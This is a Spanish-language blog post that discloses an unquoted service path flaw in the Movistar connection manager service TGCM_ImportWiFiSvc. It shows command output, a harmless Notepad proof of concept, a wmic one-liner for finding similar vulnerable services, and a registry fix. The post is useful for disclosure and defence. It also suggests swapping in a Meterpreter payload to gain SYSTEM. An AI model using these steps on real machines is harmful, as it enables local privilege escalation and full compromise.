Hoy vamos a ver una vulnerabilidad que Gjoko 'LiquidWorm' Krstic (@zeroscience) reportó a Telefónica el 23 de septiembre y que, después de días de absoluta ignorancia, ha decidido publicar (fuente aquí).
Afecta a la versión
8.7.6.792
del gestor de conexiones 'Escritorio Movistar', aunque yo lo he probado en la versión 8.6.5.594 y también es vulnerable:
En concreto es un fallo en el servicio TGCM_ImportWiFiSvc que no entrecomilla la ruta del ejecutable que llama:
C:>sc qc TGCM_ImportWiFiSvc
[SC] QueryServiceConfig CORRECTO
NOMBRE_SERVICIO: TGCM_ImportWiFiSvc
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: d:Program Files (x86)2MovistarEscritorio MovistarImpWiFiSvc.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : TGCM_ImportWiFiSvc
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem
C:>icacls "d:Program Files (x86)2MovistarEscritorio MovistarImpWiFiSvc.exe"
d:Program Files (x86)2MovistarEscritorio MovistarImpWiFiSvc.exe BUILTINAdministradores:(I)(F)
NT AUTHORITYSYSTEM:(I)(F)
NT AUTHORITYUsuarios autentificados:(I)(M)
BUILTINUsuarios:(I)(RX)
Se procesaron correctamente 1 archivos; error al procesar 0 archivos
Es la vulnerabilidad conocida como "Unquoted Service Paths" o también "Trusted Path Privilege Escalation"
y puede permitir que un servicio de Windows procese cualquier programa
que esté antes de un espacio en su ruta sin entrecomillar. En nuestro
caso:
d:Program.exe Files (x86)2MovistarEscritorio MovistarImpWiFiSvc.exe
d:Program Files (x86)2MovistarEscritorio.exe MovistarImpWiFiSvc.exe
Para la prueba de concepto crearemos un fichero batch que luego haremos ejecutable y que llamará silenciosamente al Notepad:
Después simplemente pondremos Escritorio.exe en su ruta correspondiente:
Y al reiniciar el servicio veremos que ejecuta nuestro binario:
D:Program Files (x86)2Movistar>net stop TGCM_ImportWiFiSvc
El servicio de TGCM_ImportWiFiSvc está deteniéndose.
El servicio de TGCM_ImportWiFiSvc se detuvo correctamente.
D:Program Files (x86)2Movistar>net start TGCM_ImportWiFiSvc
El servicio no está respondiendo a la función de control.
Puede obtener más ayuda con el comando NET HELPMSG 2186.
Si
en vez de ser un simple Notepad ponemos un script que cambie la
contraseña del administrador local o por ejemplo un payload para una
sesión de Meterpreter, cuando reinicie nuestro equipo (con Windows 7) se
ejecutará como SYSTEM y habremos primero escalado privilegios y luego enteramente comprometido la máquina.
Además existe desde hace tiempo un módulo de Metasploit que se aprovecha de este fallo: http://www.rapid7.com/db/modules/exploit/windows/local/trusted_service_path
Como
veis este tipo de vulnerabilidades que aparentemente son tan tontas y
sencillas de explotar son también muy peligrosas. Además aunque son
bastante viejas parece que siguen vigentes en nuestro días... si
ejecutáis el siguiente comando seguro que comprobaréis que el servicio
del Escritorio Movistar no es el único afectado actualmente:
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:windows" |findstr /i /v """
Acunetix WVS Scheduler v8 AcuWVSSchedulerv8 D:Program Files (x86)2AcunetixWeb Vulnerability Scanner 8WVSScheduler.exe
Auto
Intel(R) Dynamic Application Loader Host Interface Service jhi_service C:Program Files (x86)IntelIntel(R) Management Engine ComponentsDALjhi_service.exe
Auto
Intel(R) Management and Security Application Local Management Service LMS C:Program Files (x86)IntelIntel(R) Management Engine ComponentsLMSLMS.exe
Auto
Privacyware network service PFNet C:Program Files (x86)PrivacywarePrivatefirewall 7.0pfsvc.exe
Auto
TGCM_ImportWiFiSvc TGCM_ImportWiFiSvc d:Program Files (x86)2MovistarEscritorio MovistarImpWiFiSvc.exe
Auto
Por
último, si quieres solucionar manualmente esta vulnerabilidad en vez de
esperar sentado a que el fabricante publique un parche, edita el
registro y busca el servicio en cuestión en HKLMSYSTEMCurrentControlSetservices para ¡¡¡poner las malditas comillas!!!.